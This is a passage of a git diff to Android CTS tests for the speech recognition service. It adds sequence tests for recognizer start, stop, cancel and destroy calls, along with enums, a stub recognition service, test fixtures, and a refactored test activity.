+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, true),
+                /* expected callback methods invoked: */ ImmutableList.of()
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_startListening() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_START_LISTENING),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR)
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_stopListening_cancel() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_STOP_LISTENING,
+                        RECOGNIZER_METHOD_CANCEL),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, true, true),
+                /* expected callback methods invoked: */ ImmutableList.of()
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_error_cancel() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_CANCEL),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR)
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_stopListening_destroy() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_STOP_LISTENING,
+                        RECOGNIZER_METHOD_DESTROY),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, true, true),
+                /* expected callback methods invoked: */ ImmutableList.of()
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_error_destroy() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_DESTROY),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR),
+                /* expected service methods propagated: */ ImmutableList.of(true, false),
+                /* expected callback methods invoked: */ ImmutableList.of(
+                        CALLBACK_METHOD_ERROR)
+        );
+    }
+
+    @Test
+    public void sequenceTest_startListening_destroy_destroy() {
+        executeSequenceTest(
+                /* service methods to call: */ ImmutableList.of(
+                        RECOGNIZER_METHOD_START_LISTENING,
+                        RECOGNIZER_METHOD_DESTROY,
+                        RECOGNIZER_METHOD_DESTROY),
+                /* callback methods to call: */ ImmutableList.of(
+                        CALLBACK_METHOD_UNSPECIFIED,
+                        CALLBACK_METHOD_UNSPECIFIED),
+                /* expected service methods propagated: */ ImmutableList.of(true, true, false),
+                /* expected callback methods invoked: */ ImmutableList.of()
+        );
+    }
+
+    private void executeSequenceTest(
+            List<RecognizerMethod> recognizerMethodsToCall,
+            List<CallbackMethod> callbackMethodInstructions,
+            List<Boolean> expectedRecognizerServiceMethodsToPropagate,
+            List<CallbackMethod> expectedClientCallbackMethods) {
+        setCurrentRecognizer(IN_PACKAGE_RECOGNITION_SERVICE);
+        mUiDevice.waitForIdle();
+
+        mActivity.mCallbackMethodsInvoked.clear();
+        CtsRecognitionService.sInvokedRecognizerMethods.clear();
+        CtsRecognitionService.sInstructedCallbackMethods.clear();
+        CtsRecognitionService.sInstructedCallbackMethods.addAll(callbackMethodInstructions);
+
+        List<RecognizerMethod> expectedServiceMethods = new ArrayList<>();
+
+        for (int i = 0; i < recognizerMethodsToCall.size(); i++) {
+            RecognizerMethod recognizerMethod = recognizerMethodsToCall.get(i);
+            Log.i(TAG, "Sending service method " + recognizerMethod.name());
+
+            switch (recognizerMethod) {
+                case RECOGNIZER_METHOD_UNSPECIFIED:
+                    fail();
+                    break;
+                case RECOGNIZER_METHOD_START_LISTENING:
+                    mActivity.startListening(START_LISTENING_INTENT);
+                    break;
+                case RECOGNIZER_METHOD_STOP_LISTENING:
+                    mActivity.stopListening();
+                    break;
+                case RECOGNIZER_METHOD_CANCEL:
+                    mActivity.cancel();
+                    break;
+                case RECOGNIZER_METHOD_DESTROY:
+                    mActivity.destroyRecognizer();
+                    break;
+                default:
+                    fail();
+            }
+
+            if (expectedRecognizerServiceMethodsToPropagate.get(i)) {
+                expectedServiceMethods.add(
+                        RECOGNIZER_METHOD_DESTROY != recognizerMethod
+                                ? recognizerMethod
+                                : RECOGNIZER_METHOD_CANCEL);
+                PollingCheck.waitFor(SEQUENCE_TEST_WAIT_TIMEOUT_MS,
+                        () -> CtsRecognitionService.sInvokedRecognizerMethods.size()
+                                == expectedServiceMethods.size());
+            }
+        }
+
+        PollingCheck.waitFor(SEQUENCE_TEST_WAIT_TIMEOUT_MS,
+                () -> CtsRecognitionService.sInstructedCallbackMethods.isEmpty());
+        PollingCheck.waitFor(SEQUENCE_TEST_WAIT_TIMEOUT_MS,
+                () -> mActivity.mCallbackMethodsInvoked.size()
+                        >= expectedClientCallbackMethods.size());
+
+        assertThat(CtsRecognitionService.sInvokedRecognizerMethods).isEqualTo(expectedServiceMethods);
+        assertThat(mActivity.mCallbackMethodsInvoked).isEqualTo(expectedClientCallbackMethods);
+        assertThat(CtsRecognitionService.sInstructedCallbackMethods).isEmpty();
+    }
+
+    private static void prepareDevice() {
+        // Unlock screen.
+        runShellCommand("input keyevent KEYCODE_WAKEUP");
+        // Dismiss keyguard, in case it's set as "Swipe to unlock".
+        runShellCommand("wm dismiss-keyguard");
+    }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CallbackMethod.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CallbackMethod.java
new file mode 100644
index 0000000..b8622f4
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CallbackMethod.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+enum CallbackMethod {
+    CALLBACK_METHOD_UNSPECIFIED,
+    CALLBACK_METHOD_BEGINNING_OF_SPEECH,
+    CALLBACK_METHOD_BUFFER_RECEIVED,
+    CALLBACK_METHOD_END_OF_SPEECH,
+    CALLBACK_METHOD_ERROR,
+    CALLBACK_METHOD_PARTIAL_RESULTS,
+    CALLBACK_METHOD_READY_FOR_SPEECH,
+    CALLBACK_METHOD_RESULTS,
+    CALLBACK_METHOD_RMS_CHANGED
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CtsRecognitionService.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CtsRecognitionService.java
new file mode 100644
index 0000000..5627c9d
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/CtsRecognitionService.java
@@ -0,0 +1,130 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+import static android.voicerecognition.cts.TestObjects.ERROR_CODE;
+import static android.voicerecognition.cts.TestObjects.PARTIAL_RESULTS_BUNDLE;
+import static android.voicerecognition.cts.TestObjects.READY_FOR_SPEECH_BUNDLE;
+import static android.voicerecognition.cts.TestObjects.RESULTS_BUNDLE;
+import static android.voicerecognition.cts.TestObjects.RMS_CHANGED_VALUE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.content.Intent;
+import android.os.RemoteException;
+import android.speech.RecognitionService;
+import android.util.Log;
+
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Queue;
+import java.util.Random;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+public class CtsRecognitionService extends RecognitionService {
+    private static final String TAG = CtsRecognitionService.class.getSimpleName();
+
+    public static List<RecognizerMethod> sInvokedRecognizerMethods = new ArrayList<>();
+    public static Queue<CallbackMethod> sInstructedCallbackMethods = new ArrayDeque<>();
+    public static AtomicBoolean sIsActive = new AtomicBoolean(false);
+
+    private final Random mRandom = new Random();
+
+    @Override
+    protected void onStartListening(Intent recognizerIntent, Callback listener) {
+        sIsActive.set(true);
+        assertThat(listener.getCallingUid()).isEqualTo(android.os.Process.myUid());
+
+        sInvokedRecognizerMethods.add(RecognizerMethod.RECOGNIZER_METHOD_START_LISTENING);
+
+        maybeRespond(listener);
+        sIsActive.set(false);
+    }
+
+    @Override
+    protected void onStopListening(Callback listener) {
+        sIsActive.set(true);
+        assertThat(listener.getCallingUid()).isEqualTo(android.os.Process.myUid());
+
+        sInvokedRecognizerMethods.add(RecognizerMethod.RECOGNIZER_METHOD_STOP_LISTENING);
+
+        maybeRespond(listener);
+        sIsActive.set(false);
+    }
+
+    @Override
+    protected void onCancel(Callback listener) {
+        sIsActive.set(true);
+        assertThat(listener.getCallingUid()).isEqualTo(android.os.Process.myUid());
+
+        sInvokedRecognizerMethods.add(RecognizerMethod.RECOGNIZER_METHOD_CANCEL);
+
+        maybeRespond(listener);
+        sIsActive.set(false);
+    }
+
+    private void maybeRespond(Callback listener) {
+        if (sInstructedCallbackMethods.isEmpty()) {
+            return;
+        }
+
+        CallbackMethod callbackMethod = sInstructedCallbackMethods.poll();
+
+        Log.i(TAG, "Responding with callback method " + callbackMethod.name());
+
+        try {
+            switch (callbackMethod) {
+                case CALLBACK_METHOD_UNSPECIFIED:
+                    // ignore
+                    break;
+                case CALLBACK_METHOD_BEGINNING_OF_SPEECH:
+                    listener.beginningOfSpeech();
+                    break;
+                case CALLBACK_METHOD_BUFFER_RECEIVED:
+                    byte[] buffer = new byte[100];
+                    mRandom.nextBytes(buffer);
+                    listener.bufferReceived(buffer);
+                    break;
+                case CALLBACK_METHOD_END_OF_SPEECH:
+                    listener.endOfSpeech();
+                    break;
+                case CALLBACK_METHOD_ERROR:
+                    listener.error(ERROR_CODE);
+                    break;
+                case CALLBACK_METHOD_RESULTS:
+                    listener.results(RESULTS_BUNDLE);
+                    break;
+                case CALLBACK_METHOD_PARTIAL_RESULTS:
+                    listener.partialResults(PARTIAL_RESULTS_BUNDLE);
+                    break;
+                case CALLBACK_METHOD_READY_FOR_SPEECH:
+                    listener.readyForSpeech(READY_FOR_SPEECH_BUNDLE);
+                    break;
+                case CALLBACK_METHOD_RMS_CHANGED:
+                    listener.rmsChanged(RMS_CHANGED_VALUE);
+                    break;
+                default:
+                    fail();
+            }
+        } catch (RemoteException e) {
+            fail();
+        }
+    }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/DefaultRecognitionServiceTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/DefaultRecognitionServiceTest.java
new file mode 100644
index 0000000..b8e3116
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/DefaultRecognitionServiceTest.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.voicerecognition.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.content.Context;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SettingsStateChangerRule;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+
+/** Recognition service tests for a default speech recognition service. */
+@RunWith(AndroidJUnit4.class)
+public final class DefaultRecognitionServiceTest extends AbstractRecognitionServiceTest {
+
+    // same as Settings.Secure.VOICE_RECOGNITION_SERVICE
+    final String VOICE_RECOGNITION_SERVICE = "voice_recognition_service";
+
+    protected final Context mContext = InstrumentationRegistry.getTargetContext();
+    private final String mOriginalVoiceRecognizer = Settings.Secure.getString(
+            mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
+
+    @Rule
+    public final SettingsStateChangerRule mVoiceRecognitionServiceSetterRule =
+            new SettingsStateChangerRule(mContext, VOICE_RECOGNITION_SERVICE,
+                    mOriginalVoiceRecognizer);
+
+    @Override
+    protected void setCurrentRecognizer(String recognizer) {
+        runWithShellPermissionIdentity(
+                () -> Settings.Secure.putString(mContext.getContentResolver(),
+                        VOICE_RECOGNITION_SERVICE, recognizer));
+    }
+
+    @Override
+    boolean isOnDeviceTest() {
+        return false;
+    }
+
+    @Override
+    String customRecognizer() {
+        // We will use the default one (specified in secure settings).
+        return null;
+    }
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
index f11cef4..663d4bd 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceMicIndicatorTest.java
@@ -50,6 +50,9 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.List;
+import java.util.stream.Collectors;
+
 @RunWith(AndroidJUnit4.class)
 public final class RecognitionServiceMicIndicatorTest {
 
@@ -87,7 +90,7 @@
             new ActivityTestRule<>(SpeechRecognitionActivity.class);
 
     @Rule
-    public final SettingsStateChangerRule mVoiceRcognitionrviceSetterRule =
+    public final SettingsStateChangerRule mVoiceRecognitionServiceSetterRule =
             new SettingsStateChangerRule(mContext, VOICE_RECOGNITION_SERVICE,
                     mOriginalVoiceRecognizer);
 
@@ -96,6 +99,7 @@
         prepareDevice();
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
         mActivity = mActivityTestRule.getActivity();
+        mActivity.init(false, null);
 
         final PackageManager pm = mContext.getPackageManager();
         try {
@@ -157,18 +161,18 @@
     }
 
     @Test
-    public void testNonTrustedRecognitionServiceCannotBlameCallingApp() throws Throwable {
+    public void testNonTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
         // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
         // is also a preinstalled app. This is a untrusted case.
         setCurrentRecognizer(CTS_VOICE_RECOGNITION_SERVICE);
 
         // verify that the untrusted app cannot blame the calling app mic access
-        testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ false);
+        testVoiceRecognitionServiceBlameCallingApp(/* trustVoiceService */ true);
     }
 
     @Test
     public void testTrustedRecognitionServiceCanBlameCallingApp() throws Throwable {
-        // This is a workaound solution for R QPR. We treat trusted if the current voice recognizer
+        // This is a workaround solution for R QPR. We treat trusted if the current voice recognizer
         // is also a preinstalled app. This is a trusted case.
         boolean hasPreInstalledRecognizer = hasPreInstalledRecognizer(
                 getComponentPackageNameFromString(mOriginalVoiceRecognizer));
@@ -220,12 +224,18 @@
         SystemClock.sleep(UI_WAIT_TIMEOUT);
 
         // Make sure dialog is shown
-        final UiObject2 recognitionCallingAppLabel = mUiDevice.findObject(
+        List<UiObject2> recognitionCallingAppLabels = mUiDevice.findObjects(
                 By.res(PRIVACY_DIALOG_PACKAGE_NAME, PRIVACY_DIALOG_CONTENT_ID));
         assertWithMessage("No permission dialog shown after clicking  privacy chip.").that(
-                recognitionCallingAppLabel).isNotNull();
+                recognitionCallingAppLabels).isNotEmpty();
+
         // get dialog content
-        final String dialogDescription = recognitionCallingAppLabel.getText();
+        final String dialogDescription =
+                recognitionCallingAppLabels
+                        .stream()
+                        .map(UiObject2::getText)
+                        .collect(Collectors.joining("\n"));
+        Log.i(TAG, "Retrieved dialog description " + dialogDescription);
         if (trustVoiceService) {
             // Check trust recognizer can blame calling apmic permission
             assertWithMessage(
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceTest.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceTest.java
deleted file mode 100644
index 2ba3815..0000000
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognitionServiceTest.java
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.voicerecognition.cts;
-
-import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
-import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.content.Context;
-import android.os.SystemClock;
-import android.provider.Settings;
-import android.support.test.uiautomator.UiDevice;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.SettingsStateChangerRule;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-public final class RecognitionServiceTest {
-
-    private final String TAG = "RecognitionServiceTest";
-    // same as Settings.Secure.VOICE_RECOGNITION_SERVICE
-    final String VOICE_RECOGNITION_SERVICE = "voice_recognition_service";
-    // A simple test voice recognition service implementation
-    private final String CTS_VOICE_RECOGNITION_SERVICE =
-            "android.recognitionservice.service/android.recognitionservice.service"
-                    + ".CtsVoiceRecognitionService";
-
-    private final long INDICATOR_DISMISS_TIMEOUT = 5000L;
-    private final long WAIT_TIMEOUT_MS = 30000L; // 30 secs
-
-    protected final Context mContext = InstrumentationRegistry.getTargetContext();
-    private final String mOriginalVoiceRecognizer = Settings.Secure.getString(
-            mContext.getContentResolver(), VOICE_RECOGNITION_SERVICE);
-
-    UiDevice mUiDevice;
-    SpeechRecognitionActivity mActivity;
-
-    @Rule
-    public ActivityTestRule<SpeechRecognitionActivity> mActivityTestRule =
-            new ActivityTestRule<>(SpeechRecognitionActivity.class);
-
-    @Rule
-    public final SettingsStateChangerRule mVoiceRcognitionrviceSetterRule =
-            new SettingsStateChangerRule(mContext, VOICE_RECOGNITION_SERVICE,
-                    mOriginalVoiceRecognizer);
-
-    @Before
-    public void setup() {
-        prepareDevice();
-        mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
-        mActivity = mActivityTestRule.getActivity();
-    }
-
-    @Test
-    public void testStartListening() throws Throwable {
-        setCurrentRecognizer(CTS_VOICE_RECOGNITION_SERVICE);
-        mActivity.startListening();
-        try {
-            // startListening() will call noteProxyOpNoTrow(), if the permission check pass then the
-            // RecognitionService.onStartListening() will be called. Otherwise, a TimeoutException
-            // will be thrown.
-            assertThat(mActivity.mCountDownLatch.await(WAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS))
-                    .isTrue();
-        } catch (InterruptedException e) {
-            assertWithMessage("onStartListening() not called. " + e).fail();
-        }
-        // Wait for the privacy indicator to disappear to avoid the test becoming flaky.
-        SystemClock.sleep(INDICATOR_DISMISS_TIMEOUT);
-    }
-
-    void setCurrentRecognizer(String recognizer) {
-        runWithShellPermissionIdentity(
-                () -> Settings.Secure.putString(mContext.getContentResolver(),
-                        VOICE_RECOGNITION_SERVICE, recognizer));
-        mUiDevice.waitForIdle();
-    }
-
-    private void prepareDevice() {
-        // Unlock screen.
-        runShellCommand("input keyevent KEYCODE_WAKEUP");
-        // Dismiss keyguard, in case it's set as "Swipe to unlock".
-        runShellCommand("wm dismiss-keyguard");
-    }
-}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognizerMethod.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognizerMethod.java
new file mode 100644
index 0000000..9f673d9
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/RecognizerMethod.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+enum RecognizerMethod {
+    RECOGNIZER_METHOD_UNSPECIFIED,
+    RECOGNIZER_METHOD_START_LISTENING,
+    RECOGNIZER_METHOD_STOP_LISTENING,
+    RECOGNIZER_METHOD_CANCEL,
+    RECOGNIZER_METHOD_DESTROY
+}
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
index 7e03261..6736280 100644
--- a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/SpeechRecognitionActivity.java
@@ -17,13 +17,17 @@
 package android.voicerecognition.cts;
 
 import android.app.Activity;
+import android.content.ComponentName;
 import android.content.Intent;
 import android.os.Bundle;
 import android.os.Handler;
 import android.speech.RecognitionListener;
 import android.speech.RecognizerIntent;
 import android.speech.SpeechRecognizer;
+import android.util.Log;
 
+import java.util.ArrayList;
+import java.util.List;
 import java.util.concurrent.CountDownLatch;
 
 /**
@@ -39,6 +43,8 @@
     private Handler mHandler;
     private SpeechRecognizerListener mListener;
 
+    final List<CallbackMethod> mCallbackMethodsInvoked = new ArrayList<>();
+
     public boolean mStartListeningCalled;
 
     public CountDownLatch mCountDownLatch;
@@ -47,7 +53,6 @@
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
         setContentView(R.layout.main);
-        init();
     }
 
     @Override
@@ -60,72 +65,95 @@
     }
 
     public void startListening() {
-        mHandler.post(() -> {
-            if (mRecognizer != null) {
-                final Intent recognizerIntent =
-                        new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
-                recognizerIntent.putExtra(
-                        RecognizerIntent.EXTRA_CALLING_PACKAGE, this.getPackageName());
-                mRecognizer.startListening(recognizerIntent);
-            }
-        });
+        final Intent recognizerIntent =
+                new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
+        recognizerIntent.putExtra(
+                RecognizerIntent.EXTRA_CALLING_PACKAGE, this.getPackageName());
+        startListening(recognizerIntent);
     }
 
-    private void init() {
+    public void startListening(Intent intent) {
+        mHandler.post(() -> mRecognizer.startListening(intent));
+    }
+
+    public void stopListening() {
+        mHandler.post(mRecognizer::stopListening);
+    }
+
+    public void cancel() {
+        mHandler.post(mRecognizer::cancel);
+    }
+
+    public void destroyRecognizer() {
+        mHandler.post(mRecognizer::destroy);
+    }
+
+    public void init(boolean onDevice, String customRecgonizerComponent) {
         mHandler = new Handler(getMainLooper());
-        mRecognizer = SpeechRecognizer.createSpeechRecognizer(this);
-        mListener = new SpeechRecognizerListener();
-        mRecognizer.setRecognitionListener(mListener);
-        mStartListeningCalled = false;
-        mCountDownLatch = new CountDownLatch(1);
+        mHandler.post(() -> {
+            if (onDevice) {
+                mRecognizer = SpeechRecognizer.createOnDeviceSpeechRecognizer(this);
+            } else if (customRecgonizerComponent != null) {
+                mRecognizer = SpeechRecognizer.createSpeechRecognizer(this,
+                        ComponentName.unflattenFromString(customRecgonizerComponent));
+            } else {
+                mRecognizer = SpeechRecognizer.createSpeechRecognizer(this);
+            }
+
+            mListener = new SpeechRecognizerListener();
+            mRecognizer.setRecognitionListener(mListener);
+            mRecognizer.setRecognitionListener(mListener);
+            mStartListeningCalled = false;
+            mCountDownLatch = new CountDownLatch(1);
+        });
     }
 
     private class SpeechRecognizerListener implements RecognitionListener {
 
         @Override
         public void onReadyForSpeech(Bundle params) {
-
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_READY_FOR_SPEECH);
         }
 
         @Override
         public void onBeginningOfSpeech() {
-
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_BEGINNING_OF_SPEECH);
         }
 
         @Override
         public void onRmsChanged(float rmsdB) {
-
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_RMS_CHANGED);
         }
 
         @Override
         public void onBufferReceived(byte[] buffer) {
-
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_BUFFER_RECEIVED);
         }
 
         @Override
         public void onEndOfSpeech() {
-
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_END_OF_SPEECH);
         }
 
         @Override
         public void onError(int error) {
-
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_ERROR);
         }
 
         @Override
         public void onResults(Bundle results) {
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_RESULTS);
             mStartListeningCalled = true;
             mCountDownLatch.countDown();
         }
 
         @Override
         public void onPartialResults(Bundle partialResults) {
-
+            mCallbackMethodsInvoked.add(CallbackMethod.CALLBACK_METHOD_PARTIAL_RESULTS);
         }
 
         @Override
         public void onEvent(int eventType, Bundle params) {
-
         }
     }
 }
diff --git a/tests/tests/voiceRecognition/src/android/voicerecognition/cts/TestObjects.java b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/TestObjects.java
new file mode 100644
index 0000000..b507f21
--- /dev/null
+++ b/tests/tests/voiceRecognition/src/android/voicerecognition/cts/TestObjects.java
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.voicerecognition.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.speech.RecognizerIntent;
+
+class TestObjects {
+    public static final int ERROR_CODE = 42;
+    public static final float RMS_CHANGED_VALUE = 13.13f;
+
+    public static final Bundle RESULTS_BUNDLE = new Bundle();
+    static {
+        RESULTS_BUNDLE.putChar("a", 'a');
+    }
+    public static final Bundle PARTIAL_RESULTS_BUNDLE = new Bundle();
+    static {
+        PARTIAL_RESULTS_BUNDLE.putChar("b", 'b');
+    }
+    public static final Bundle READY_FOR_SPEECH_BUNDLE = new Bundle();
+    static {
+        READY_FOR_SPEECH_BUNDLE.putChar("c", 'c');
+    }
+    public static final Intent START_LISTENING_INTENT =
+            new Intent(RecognizerIntent.ACTION_RECOGNIZE_SPEECH);
+    static {
+        START_LISTENING_INTENT.putExtra("d", 'd');
+    }
+}
diff --git a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
index fc883fd..4af3b90 100644
--- a/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
+++ b/tests/tests/voiceinteraction/src/android/voiceinteraction/cts/DirectActionsTest.java
@@ -16,6 +16,8 @@
 
 package android.voiceinteraction.cts;
 
+import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
+
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -47,6 +49,7 @@
 public class DirectActionsTest extends AbstractVoiceInteractionTestCase {
     private static final String TAG = DirectActionsTest.class.getSimpleName();
     private static final long OPERATION_TIMEOUT_MS = 5000;
+    private static final String TEST_APP_PACKAGE = "android.voiceinteraction.testapp";
 
